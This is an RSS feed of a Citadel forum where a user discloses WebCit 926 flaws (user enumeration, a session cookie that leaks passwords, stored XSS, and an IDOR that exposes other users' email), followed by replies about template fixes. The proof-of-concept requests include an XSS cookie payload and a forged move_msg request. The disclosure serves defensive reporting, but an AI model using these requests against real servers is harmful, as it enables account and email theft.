<li>GET /wiki_history (page parameter)</li>
<li>POST /entroom (er_name parameter)</li>
<li>POST /upload_attachment (Content-Type of qqfile parameter)</li>
<li>GET /ajax_login_username_password (name parameter)</li>
</ul>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><em><strong>-----------Insecure Direct Object Reference-----------</strong></em></p>
<p> </p>
<p class="MsoNormal">Any logged-in user would be able to read someone else's emails using the Move to folder functionality (/do_template?template=msg_confirm_move?msgid=&lt;msgID&gt;).</p>
<p> </p>
<p class="MsoNormal">This particular function was found not to check if a specific msgid belongs to the currently logged-in user before moving the email to a local user's folder.</p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Proof of concept:</p>
<p> </p>
<blockquote>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">POST /move_msg HTTP/1.1<br /></span><span style="color: black;">Host: 192.168.1.55<br /></span><span style="color: black;">Content-Length: 63<br /></span><span style="color: black;">Content-Type: application/x-www-form-urlencoded<br /></span><span style="color: black;">Cookie: webcit=&lt;NewUser2 session ID&gt;<br /></span><span style="color: black;">Connection: close</span> </p>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">nonce=&lt;valid nonce from msg_confirm_move&gt;&amp;msgid=<span style="background: yellow; mso-highlight: yellow;">2748</span>&amp;target_room=Drafts&amp;move_button=Move</span></p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">In this case msgid 2748 was an email sent from NewUser to admin, however the user performing this action was NewUser2.</p>
<p> </p>
<p class="MsoNormal" style="text-align: center;"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJkAAAAgCAYAAAABmdoHAAAgAElEQVR4Ae2bd3DVV5bn/f9OTfdM9czs2m23u929tfGP3X9mq6a2g91tgwmKTy9nvaSnjIRIEsoRRBRJCSWCTA4iC4QkQGSwBBhEDkKAAkI5fbbu/b0HMjPucU97u2am/ap+de+78Zxzv79zzz3n/t4ZGRnl++d7Gfz/wMDgwAB9L3t559HjTr7T58kzHn3//HnL4HEnDx910tXVTf+rl7yTvWQl2QUrlMefF+nU/LeozxJtlqwkZ+kqpe+SlfjLRDo1L8f+N17/Nk9v8/d2/b8HngUPU/mcmvfz51//5Ix8zrScY2x0hHc+mRHCJzOCfY+S/1j+n5pX6pVykQ9hal72nxnKr6bN5i/+8q/4ix98//y5yuA//OUP+eWns/j7X09jx669wCTvzA4z8l08gRozv5sVwo/+5u8I0pgI1pplKvLfP//+ZSDWWzxi/X87I4hPZoayZ18dTE4oIAtQmxCPAJs/nZr/NvWBGgufzgrl3R+/j97mJMRgJ1hvQ2X2YHbFYHZFEGZUyoKNLvQOURaN6a3H7IxCZw4nWG9HHR4p6/+pdm/38/83u6Lk/KFGDwZnDEarU6HDGoHR/WZOMabWIugMR2OL/idp8Y/5p07Nrki0lnBUtq/T/M/RIXgyhLsINTnRuf60PJmFbN0xvPvjD/jtjGB+O0v1BmR+UL0NpN9X7m/rTwUgg7QCZMH86Ec/JSGzmoMNTRxraKCmtBCNzUGYMZt1W+o51tDI4d1lLIh3EGpyo7G4fI8bndWFyp3Ioo11HGs4TNGCBRgM4YSJNrYI9OFedNY3fbS2CAzh3imPmxBdBHHpNWzbugKP24ajcAvHGk5SsyQHq9aGyuJC9NOYneSWbae+4QhFSyJRWzxorX5aXGisHjnf
<p class="MsoNormal" style="text-align: center;" align="center"> </p>
<p> </p>
<p class="MsoNormal">This moved the email in NewUser2's Draft folder, allowing access to the email's content.</p>
<p> </p>
<p class="MsoNormal" style="text-align: center;" align="center"> </p>
<p> </p>
<p class="MsoNormal" style="text-align: center;" align="center"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVwAAAB6CAYAAADzlOuzAAAgAElEQVR4AeydBZhVx7Lv68RPXCGEBEICIUBwdw/uFtw9OIFgwd2CBCe46wzuM4y7bxlZ2/fscSBE7rvvvN/7eu8ZnOQkOTkn92bP99W39izprq6u9e/u6qpagvfPKwGvBLwS8Erg3yIB+bfU4q3EKwGvBLwS8EoAL+B6lcArAa8EvBL4N0lA9Ho9XvLKwKsDXh3w6sAfrwMSFhaGl7wy8OqAVwe8OvDH64BERkbiJa8MvDrg1QGvDvzxOuAFXO+A4x1wvTrg1YF/kw5IeHg4XvLKwKsDXh3w6sAfrwOSpEvCS14ZeHXAqwNeHfjjdUC+/+k2XvLKwKsDXh3w6sAfrwPy3Q+38JJXBl4d8OqAVwf+eB3wAq53wPEOuF4d8OrAv0kHvID7bxK0d/bwx88evDL2yvjPrgNewPUCrnd249UBrw78m3TAC7j/JkH/2UdeL3/e2aFXB/54HXgs4N76/qZ71Lv1/S1ufn+Tm7e95JWBVwe8OuDVgd+jA48EXAW2N77LIysnnYwsOy5FmTYveWXg1QGvDnh14HfowEOAWwC2mTkZmEwJpKVGkZYW4yWvDP5EOhBLWloCaWlJjyFd/vVE0tLU78fdV3Be3afKi8snVf5/Wuej83lQvBXwqY4FvMY/wO+fgef/tMz+/PU/BLg3b98gKzcTzaKRmhaHpsWgabFe8srgT6QDSi+vomkH0LS9aNoeNG03mrYLTduJpm3Nv34s//e3aJqiHfnX1b3quf35dBRNu4SmRaNp8WhaIpqWhKbp/mBSdT3u3VJtVPwcyW/nITRNkU8+rwH576YqI+EefvX5PKs2qPM/V8fj6vaef3y//D7Z3Ae4BbNbZ4aD+MQ4jMYoTKbfV8Efxbi33L9
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><em><strong>-----------Website issue-----------</strong></em></p>
<p> </p>
<p class="MsoNormal">This is publicly available and contains personal photos (as well of minors)</p>
<p> </p>
<p class="MsoNormal"><a href="https://photos.citadel.org/" target="webcit01">https://photos.citadel.org/</a></p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">The .git folder is available over the main website. This can be crawled and some of the commit made to the websites extracted. Luckily only commits to static pages were found, but this should be removed.</p>
<p> </p>
<p class="MsoNormal"><span style="font-size: 10.5pt; line-height: 110%; font-family: 'Segoe UI',sans-serif; color: black; mso-color-alt: windowtext; background: white;"><a href="https://www.citadel.org/.git/" target="webcit01">https://www.citadel.org/.git/</a></span></p>
<p> </p>
<p class="MsoNormal" style="text-align: center;" align="center"> </p>
<p> </p>
<p class="MsoNormal"> Any question let me know.<br />I already requested four separated Common Vulnerabilities and Exposures numbers to Mitre.</p>
<p class="MsoNormal"><br />Thanks</p>
<p> </p>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4592834</link><pubDate>Sat, 24 Oct 2020 15:55:37 -0000</pubDate><title>Multiple Security Vulnerabilities in WebCit 926</title><guid isPermaLink="false">4592834@Uncensored</guid><description><![CDATA[<html><body>

<p> </p>
<p class="MsoNormal">Hello people,<br />Being myself an active user of the Citadel project, I would like to submit some security issues I’ve identified during a security review</p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">My local setup is as follow:</p>
<p class="MsoNormal"> </p>
<p> </p>
<ul>
<li>Ubuntu Server 20.04.1</li>
<li><span style="text-indent: -0.25in;">Citadel 929</span></li>
<li><span style="text-indent: -0.25in;">WebCit 926</span></li>
<li><span style="text-indent: -0.25in;">server build 929</span></li>
</ul>
<p class="MsoListParagraphCxSpLast" style="text-indent: -.25in; mso-list: l0 level1 lfo1;"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> <strong><em>-----------Unauthenticated User Enumeration-----------</em></strong></p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Valid Request:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">GET /ajax_login_username_password?name=admin HTTP/1.1<br />Host: 192.168.1.239:8080</p>
</blockquote>
<p> </p>
<p class="MsoNormal">Valid response:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">540 Wrong password.</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Invalid Request:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">GET /ajax_login_username_password?name=notregistereduser HTTP/1.1<br />Host: 192.168.1.239:8080</p>
</blockquote>
<p> </p>
<p class="MsoNormal">Invalid Response:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">570 notregistereduser not found.</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">The same behavior was also observed via:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">/do_template?template=user_show?who=admin</p>
<p class="MsoNormal">/do_template?template=who || /summary</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> You're probably aware of this, but I just wanted to include it in the list.</p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><strong><em>-----------Weak Session Management-----------</em></strong></p>
<p> </p>
<p class="MsoNormal">webcit cookie was found to use timestamp to handle user's session; when a correct timestamp is identified (a timestamp in which a valid user logged in the system), WebCit returns the full username and cleartext password in the response.</p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">As highlighted in auth.c source code, the cookie structure is as follow:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">cookie_to_stuff(Line, &amp;hdr-&gt;HR.desired_session,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_username,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_password,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_roomname,</p>
<p class="MsoNormal"><span style="mso-tab-count: 3;">                                             </span>hdr-&gt;c_language</p>
<p class="MsoNormal"><span style="mso-tab-count: 1;">               </span>);</p>
</blockquote>
<p> </p>
<p class="MsoNormal">The pipe (|) character is used to separate those elements.</p>
<p> </p>
<p class="MsoNormal">An attacker could enumerate valid timestamps (HD.desired_session) via the following:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">&lt;timestamp&gt;|||||</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Once a valid timestamp is found (in my case 1600782178), WebCit will return the following in the response:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">[...]</p>
<p class="MsoNormal">Set-cookie: webcit=313630303738323137387C4E6577557365727C4D7953656372657450617373776F72647C4C6F6262797C656E5F55537C; path=/</p>
<p class="MsoNormal">[...]</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Once decoded (hex-&gt;ascii) will result in the disclosure of the username and cleartext password:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">1600782178|NewUser|MySecretPassword|Lobby|en_US|</p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><strong><em>-----------Unauthenticated Stored XSS-----------</em></strong></p>
<p> </p>
<p class="MsoNormal">The Instant Message functionality (/display_page?recp=&lt;useraneme&gt;) was found to be susceptible to Cross-Site Scripting. This can allow an attacker to exfiltrate session cookies of logged-in users.</p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Proof of concept:</p>
<p> </p>
<blockquote>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">POST /page_user HTTP/1.1<br /></span><span style="color: black;">Host: 192.168.1.55<br /></span><span style="color: black;">Content-Length: 148<br /></span><span style="color: black;">Content-Type: application/x-www-form-urlencoded</span></p>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">nonce=&lt;validnonce&gt;&amp;template=who&amp;recp=admin&amp;msgtext<span style="background: yellow; mso-highlight: yellow;">=%3Cimg+src%2Fonerror%3Dalert%28document.cookie%29%3E%0D%0A</span>&amp;send_button=Send+message</span></p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Additional (reflected) XSS were identified in:</p>
<p> </p>
<ul>
<li>GET /wiki_history (page parameter)</li>
<li>POST /entroom (er_name parameter)</li>
<li>POST /upload_attachment (Content-Type of qqfile parameter)</li>
<li>GET /ajax_login_username_password (name parameter)</li>
</ul>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><em><strong>-----------Insecure Direct Object Reference-----------</strong></em></p>
<p> </p>
<p class="MsoNormal">Any logged-in user would be able to read someone else's emails using the Move to folder functionality (/do_template?template=msg_confirm_move?msgid=&lt;msgID&gt;).</p>
<p> </p>
<p class="MsoNormal">This particular function was found not to check if a specific msgid belongs to the currently logged-in user before moving the email to a local user's folder.</p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Proof of concept:</p>
<p> </p>
<blockquote>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">POST /move_msg HTTP/1.1<br /></span><span style="color: black;">Host: 192.168.1.55<br /></span><span style="color: black;">Content-Length: 63<br /></span><span style="color: black;">Content-Type: application/x-www-form-urlencoded<br /></span><span style="color: black;">Cookie: webcit=&lt;NewUser2 session ID&gt;<br /></span><span style="color: black;">Connection: close</span> </p>
<p class="NewPTPCode"><span style="color: black; mso-color-alt: windowtext;">nonce=&lt;valid nonce from msg_confirm_move&gt;&amp;msgid=<span style="background: yellow; mso-highlight: yellow;">2748</span>&amp;target_room=Drafts&amp;move_button=Move</span></p>
</blockquote>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">In this case msgid 2748 was an email sent from NewUser to admin, however the user performing this action was NewUser2.</p>
<p> </p>
<p class="MsoNormal" style="text-align: center;"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJkAAAAgCAYAAAABmdoHAAAgAElEQVR4Ae2bd3DVV5bn/f9OTfdM9czs2m23u929tfGP3X9mq6a2g91tgwmKTy9nvaSnjIRIEsoRRBRJCSWCTA4iC4QkQGSwBBhEDkKAAkI5fbbu/b0HMjPucU97u2am/ap+de+78Zxzv79zzz3n/t4ZGRnl++d7Gfz/wMDgwAB9L3t559HjTr7T58kzHn3//HnL4HEnDx910tXVTf+rl7yTvWQl2QUrlMefF+nU/LeozxJtlqwkZ+kqpe+SlfjLRDo1L8f+N17/Nk9v8/d2/b8HngUPU/mcmvfz51//5Ix8zrScY2x0hHc+mRHCJzOCfY+S/1j+n5pX6pVykQ9hal72nxnKr6bN5i/+8q/4ix98//y5yuA//OUP+eWns/j7X09jx669wCTvzA4z8l08gRozv5sVwo/+5u8I0pgI1pplKvLfP//+ZSDWWzxi/X87I4hPZoayZ18dTE4oIAtQmxCPAJs/nZr/NvWBGgufzgrl3R+/j97mJMRgJ1hvQ2X2YHbFYHZFEGZUyoKNLvQOURaN6a3H7IxCZw4nWG9HHR4p6/+pdm/38/83u6Lk/KFGDwZnDEarU6HDGoHR/WZOMabWIugMR2OL/idp8Y/5p07Nrki0lnBUtq/T/M/RIXgyhLsINTnRuf60PJmFbN0xvPvjD/jtjGB+O0v1BmR+UL0NpN9X7m/rTwUgg7QCZMH86Ec/JSGzmoMNTRxraKCmtBCNzUGYMZt1W+o51tDI4d1lLIh3EGpyo7G4fI8bndWFyp3Ioo11HGs4TNGCBRgM4YSJNrYI9OFedNY3fbS2CAzh3imPmxBdBHHpNWzbugKP24ajcAvHGk5SsyQHq9aGyuJC9NOYneSWbae+4QhFSyJRWzxorX5aXGisHjnf
<p class="MsoNormal" style="text-align: center;" align="center"> </p>
<p> </p>
<p class="MsoNormal">This moved the email in NewUser2's Draft folder, allowing access to the email's content.</p>
<p> </p>
<p class="MsoNormal" style="text-align: center;" align="center"> </p>
<p> </p>
<p class="MsoNormal" style="text-align: center;" align="center"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVwAAAB6CAYAAADzlOuzAAAgAElEQVR4AeydBZhVx7Lv68RPXCGEBEICIUBwdw/uFtw9OIFgwd2CBCe46wzuM4y7bxlZ2/fscSBE7rvvvN/7eu8ZnOQkOTkn92bP99W39izprq6u9e/u6qpagvfPKwGvBLwS8Erg3yIB+bfU4q3EKwGvBLwS8EoAL+B6lcArAa8EvBL4N0lA9Ho9XvLKwKsDXh3w6sAfrwMSFhaGl7wy8OqAVwe8OvDH64BERkbiJa8MvDrg1QGvDvzxOuAFXO+A4x1wvTrg1YF/kw5IeHg4XvLKwKsDXh3w6sAfrwOSpEvCS14ZeHXAqwNeHfjjdUC+/+k2XvLKwKsDXh3w6sAfrwPy3Q+38JJXBl4d8OqAVwf+eB3wAq53wPEOuF4d8OrAv0kHvID7bxK0d/bwx88evDL2yvjPrgNewPUCrnd249UBrw78m3TAC7j/JkH/2UdeL3/e2aFXB/54HXgs4N76/qZ71Lv1/S1ufn+Tm7e95JWBVwe8OuDVgd+jA48EXAW2N77LIysnnYwsOy5FmTYveWXg1QGvDnh14HfowEOAWwC2mTkZmEwJpKVGkZYW4yWvDP5EOhBLWloCaWlJjyFd/vVE0tLU78fdV3Be3afKi8snVf5/Wuej83lQvBXwqY4FvMY/wO+fgef/tMz+/PU/BLg3b98gKzcTzaKRmhaHpsWgabFe8srgT6QDSi+vomkH0LS9aNoeNG03mrYLTduJpm3Nv34s//e3aJqiHfnX1b3quf35dBRNu4SmRaNp8WhaIpqWhKbp/mBSdT3u3VJtVPwcyW/nITRNkU8+rwH576YqI+EefvX5PKs2qPM/V8fj6vaef3y//D7Z3Ae4BbNbZ4aD+MQ4jMYoTKbfV8Efxbi33L9
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"><em><strong>-----------Website issue-----------</strong></em></p>
<p> </p>
<p class="MsoNormal">This is publicly available and contains personal photos (as well of minors)</p>
<p> </p>
<p class="MsoNormal">https://photos.citadel.org/</p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">The .git folder is available over the main website. This can be crawled and some of the commit made to the websites extracted. Luckily only commits to static pages were found, but this should be removed.</p>
<p> </p>
<p class="MsoNormal"><span style="font-size: 10.5pt; line-height: 110%; font-family: 'Segoe UI',sans-serif; color: black; mso-color-alt: windowtext; background: white;">https://www.citadel.org/.git/</span></p>
<p> </p>
<p class="MsoNormal" style="text-align: center;" align="center"> </p>
<p> </p>
<p class="MsoNormal"> Any question let me know.<br />I already requested four separated Common Vulnerabilities and Exposures numbers to Mitre.</p>
<p class="MsoNormal"><br />Thanks</p>
<p> </p>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4591365</link><pubDate>Mon, 19 Oct 2020 20:24:41 -0000</pubDate><title>Re: /summary displays logged-in users to the public [template fix]</title><guid isPermaLink="false">4591365@Uncensored</guid><description><![CDATA[<html><body>

<p>I've been thinking about this, and the coin eventually dropped..</p>
<p>No doubt that person was referring to.</p>
<blockquote>
<p>do_template?template=user_list</p>
</blockquote>
<p>which is a documented webcit page, not an exploit.  It shows the list of users on the system (every one of which would be a deliverable email account).   </p>
<p>It's under "Advanced".. "User List."</p>
<p>This page is not restricted by default.  It's available on any Webcit installation, logged in or not. Having this public is a problem in most cases.. </p>
<p>It should, minimally be wrapped in  the ..'&lt;?%("COND:LOGGEDIN". conditional structure... or, removed/replaced completely depending on the use-case. </p>
<p>..it's on my list of things to get to..</p>
<p>The file is in:</p>
<pre>/usr/local/webcit/static/t/user/list.html</pre>
<p>Contents are</p>
<pre>&lt;?=("head")&gt;
&lt;div id="banner"&gt;
  &lt;h1&gt;&lt;?_("User list for ")&gt; &lt;?SERV:HUMANNODE("X")&gt;&lt;/h1&gt;
&lt;/div&gt;
&lt;div id="content" class="service"&gt;

  &lt;table class="userlist_background"&gt;&lt;tr&gt;&lt;td&gt;
   &lt;tr&gt;
     &lt;th&gt;&lt;?_("User Name")&gt;&lt;/th&gt;
     &lt;th&gt;&lt;?_("Number")&gt;&lt;/th&gt;
     &lt;th&gt;&lt;?_("Access Level")&gt;&lt;/th&gt;
     &lt;th&gt;&lt;?_("Last Login")&gt;&lt;/th&gt;
     &lt;th&gt;&lt;?_("Total Logins")&gt;&lt;/th&gt;
     &lt;th&gt;&lt;?_("Total Posts")&gt;&lt;/th&gt;
   &lt;/tr&gt;
   &lt;?ITERATE("USERLIST", ="user_list_section")&gt;
&lt;/table&gt;

</pre>
<p>If it's a problem, you could always delete it.. or replace the contents with something like..</p>
<p>&lt;p&gt;Not allowed by current system security policy&lt;/p&gt;</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Mon Oct 12 2020 01:44:32 PM EDT</span> <span>from "s3cr3to" &lt;s3cr3to@uncensored.citadel.org&gt; </span> <span class="message_subject">Subject: Re: /summary displays logged-in users to the public [template fix]</span></div>
<div class="message_content"><tt>Thank you warbaby, very interesting reply.</tt><br /> <tt></tt><br /> <tt>Just to clarify:</tt><br /> <tt>When I wrote "all the accounts on a Citadel server", I meant the email </tt><br /> <tt>accounts (not server users, nor email addresses).</tt><br /> <tt></tt><br /> <tt>That test gave a complete list of all the "mail accounts" on the server, </tt><br /> <tt>not just the ones connected; this facilitated the brute-force attack in </tt><br /> <tt>trying passwords to send e-mails.</tt><br /> <tt></tt><br /> <tt>I'm reading your fail2ban script, to start using it now that I already </tt><br /> <tt>put my network segments in whitelist. And now that you explained to me </tt><br /> <tt>how to unblock a banned IP, much better.</tt><br /> <tt></tt><br /> <tt></tt><br /> <tt>On 10/12/20 10:10 AM, warbaby wrote:</tt><br />
<blockquote><tt>I'm going to answer this in a way that assumes a reader doesn't know </tt><br /> <tt>much about this topic, but please don't think I'm taking down to you.</tt><br /> <tt></tt><br /> <tt>[Other people will come along and read it, so I'm want be sure we have a </tt><br /> <tt>complete answer to follow...]</tt><br /> <tt></tt><br /> <tt>It is technically impossible to prevent user enumeration on a system </tt><br /> <tt>using known ports and a known protocol that responds to a request to</tt><br /> <tt></tt><br /> <tt>a) login or</tt><br /> <tt></tt><br /> <tt>b) send a message</tt><br /> <tt></tt><br /> <tt>to/for any specific user, with any kind of message of ""invalid </tt><br /> <tt>recipient" or "user/login not found". Or that even "shows" a user, or a </tt><br /> <tt>404 page if the user does not exist.</tt><br /> <tt></tt><br /> <tt>That pretty well describes SMTP, IMAP, XMPP (and to an extent, Citadel </tt><br /> <tt>itself, depending on how its configured).. and all kinds of other </tt>
<p> </p>
</div>
</blockquote>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4589935</link><pubDate>Mon, 12 Oct 2020 17:44:32 -0000</pubDate><title>Re: /summary displays logged-in users to the public [template fix]</title><guid isPermaLink="false">4589935@Uncensored</guid><description><![CDATA[
Thank you warbaby, very interesting reply.

Just to clarify:
When I wrote "all the accounts on a Citadel server", I meant the email 
accounts (not server users, nor email addresses).

That test gave a complete list of all the "mail accounts" on the server, 
not just the ones connected; this facilitated the brute-force attack in 
trying passwords to send e-mails.

I'm reading your fail2ban script, to start using it now that I already 
put my network segments in whitelist. And now that you explained to me 
how to unblock a banned IP, much better.


On 10/12/20 10:10 AM, warbaby wrote:
> I'm going to answer this in a way that assumes a reader doesn't know 
> much about this topic, but please don't think I'm taking down to you.
> 
> [Other people will come along and read it, so I'm want be sure we have a 
> complete answer to follow...]
> 
> It is technically impossible to prevent user enumeration on a system 
> using known ports and a known protocol that responds to a request to
> 
>     a) login or
> 
>     b) send a message
> 
> to/for any specific user, with any kind of message of ""invalid 
> recipient" or "user/login not found". Or that even "shows" a user, or a 
> 404 page if the user does not exist.
> 
> That pretty well describes SMTP, IMAP, XMPP (and to an extent, Citadel 
> itself, depending on how its configured).. and all kinds of other 
> services..
> 
> So, given enough time, and enough usernames (I have lists of several 
> million, there are lists up to 500 million, they can even be generated 
> with every character possible to any given length.. "rainbow tables" in 
> a sense..)
> 
> Therefore, given "enough time" and "enough names" anybody can enumerate 
> your user list.
> 
> This is not specifically a problem.  A username isn't a real identity, 
> (or, doesn't have to be one). And it's not a physical location.  So 
> user@machine can and should be considered somewhat public information, 
> unless you're in a completely enclosed system, consider your username to 
> be more or less public, and don't disclose any details about yourself in 
> your username!
> 
> Nobody should be relying on a remote server to keep their username 
> private, when the reason for the remote server is to allow others to 
> send a message to them. A system that communicates publicly (such as 
> over SMTP) has to be "public", and it can't be both hidden and public at 
> the same time.
> 
> Those issues are not anything wrong with or inherent to Citadel.  It's 
> the same with any mail and many other kinds of servers.
> 
> [I once logged into a Law Office's Exchange server by telnet!  It told 
> me "Disk out of space." So, I let them know why they weren't getting my 
> emails.. Kind of freaked them out, but that's what SMTP is for.. it 
> gives messages about status and deliverability..]
> 
> The issue I was addressing with the template fix was more related to the 
> average operator and average use case scenario.
> 
> The average person who is evil on a message board is probably not 
> actually an evil programmer with a big list of names, and if he is, you 
> can't defend against him with those fixes.
> 
> Although it's true certain sinister people can exhibit abnormally 
> criminal brilliance at times.. They are not normally capable of that 
> kind of trouble.
> 
> Some Citadel admins might like to prevent simple info-disclosure, and 
> not make it easy for the normal-grade bad guy to collect information 
> about users.
> 
> So, that's the reason for the template fix. None of those things are 
> truly "User enumeration".
> 
> There have been a few fixes.  You might just call them alternate templates.
> 
> Eventually we'll get them together where you can download, and install 
> into static.local, with a description of exactly what they do.
> 
> The main point behind the latest one was..
> 
> * Removing the display of the remote host information (ip or reverse 
> ip), which is nowadays, much more exploitable for bad purposes by the 
> non-technologically competent.  Anybody can look these ip addresses up, 
> and start to gather information about other users.. where they live, 
> their service provider, even .. in some cases, divulging all that is 
> needed to find a real-time physical location..
> 
> But looking ahead, there are likely many use cases where "Who is online" 
> is not an appropriate whatsoever.. So, we'll come up with some template 
> patches for that.
> 
> Citadel is supposed to be a fun system, where you can hang out with your 
> friends.. though not all installations are used like that..
> 
> [Also, with IMAP logins, they show as "online", but they are not 
> technically "present" for chat and such..]
> 
> So, at some point I'll work on some templates for static.local that 
> remove/restrict "who is online" so people interested can use them.
> 
> The old user enumeration emails you're referring to were probably 
> something pertaining to "host based authentication"... which were not 
> truly citadel problems, but host problems.
> 
> Those problems are why it's good to setup fail2ban on your servers and 
> restrict how long and hard someone can hammer at your ssh accounts.
> 
> But if there was actually a user showing how he could enumerate all the 
> accounts on a Citadel system, he wasn't doing anything difficult or even 
> unheard of.
> 
> Facebook, Twitter and Instagram users can be "enumerated".. all of their 
> IDs are public.. Gmail users can be enumerated also.. even located by 
> integer id.
> 
> So we want to distinguish between enumerating users who are logged into 
> the system, and who many not want to disclose from real "user enumeration".
> 
> Hopefully, I didn't wear you out, and somewhat answered your question.
> 
> I mean to distinguish between what is "appropriate" for "use-case" and 
> what is an actual vulnerability.
> 
> Still active?  According to a number of the protocols/services/ports 
> provided by Citadel, yes you can find out if a user exists on a system 
> in a number of ways.
> 
> Potentially dangerous?  Not any more dangerous than any other service 
> that does the same thing, which means, most other services.
> 
> 
>     Fri Oct 09 2020 01:50:00 PM EDT from "s3cr3to"
>     <s3cr3to@uncensored.citadel.org> Subject: Re: /summary displays
>     logged-in users to the public [template fix]
>     Hi
> 
>     A few years ago, a user sent an email demonstrating how he could obtain
>     a complete list of all the accounts on a Citadel server, something
>     similar to the "Who's online" list, but more serious in my opinion.
>     Unfortunately, I lost that mail in one of the mail purges that took
>     place in uncensored. And since I had changed from POP to IMAP on that
>     occasion, I don't have that information in my mail.
> 
>     So I guess that's still active and potentially dangerous.
> 
>     Translated with www.DeepL.com/Translator (free version)
> 
>     Regards
> 
> 
> 
>     On 6/15/20 9:34 PM, IGnatius T Foobar wrote:
> 
>         Does the /summary page display logged-in users even on a site
>         that is configured
>         to require login?
> 
>         Unfortunately I must admit that I have a lot of difficulty with
>         WebCit, because
>         a lot of people made a lot of changes to it and I sort of lost
>         track of how
>         it works. It's never been a great design, because in 1996 when
>         it was first
>         built I really had no idea what I was doing :) That's one reason we
>         are starting over with webcit-ng.
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4589892</link><pubDate>Mon, 12 Oct 2020 16:13:23 -0000</pubDate><title>Re: A cleaner option for removing the &quot;Who&#39;s Online&quot; page listing..</title><guid isPermaLink="false">4589892@Uncensored</guid><description><![CDATA[<html><body>

<p>Thanks for help!</p>
<p>.. we'll be working on this at some point not long from now.  I'll drop the files here and also see if we can get them out to the website..</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Mon Oct 12 2020 11:20:41 AM EDT</span> <span>from "s3cr3to" &lt;s3cr3to@uncensored.citadel.org&gt; </span> <span class="message_subject">Subject: Re: A cleaner option for removing the "Who's Online" page listing..</span></div>
<div class="message_content"><tt>I found another: iconbar</tt><br /> <tt></tt><br /> <tt>box_list_static.html</tt><br /> <tt>iconbar.html</tt><br /> <tt>summary.html</tt><br /> <tt></tt><br /> <tt>Without being logged in all 3 list the users connected via IMAP.</tt><br /> <tt></tt><br /> <tt>On 10/12/20 9:12 AM, s3cr3to wrote:</tt><br /> <tt></tt><br />
<blockquote><tt>This template show the users too:</tt><br /> <tt>"who_summary"</tt><br /> <tt></tt><br /> <tt></tt><br /> <tt>On 10/2/20 4:42 PM, warbaby wrote:</tt><br />
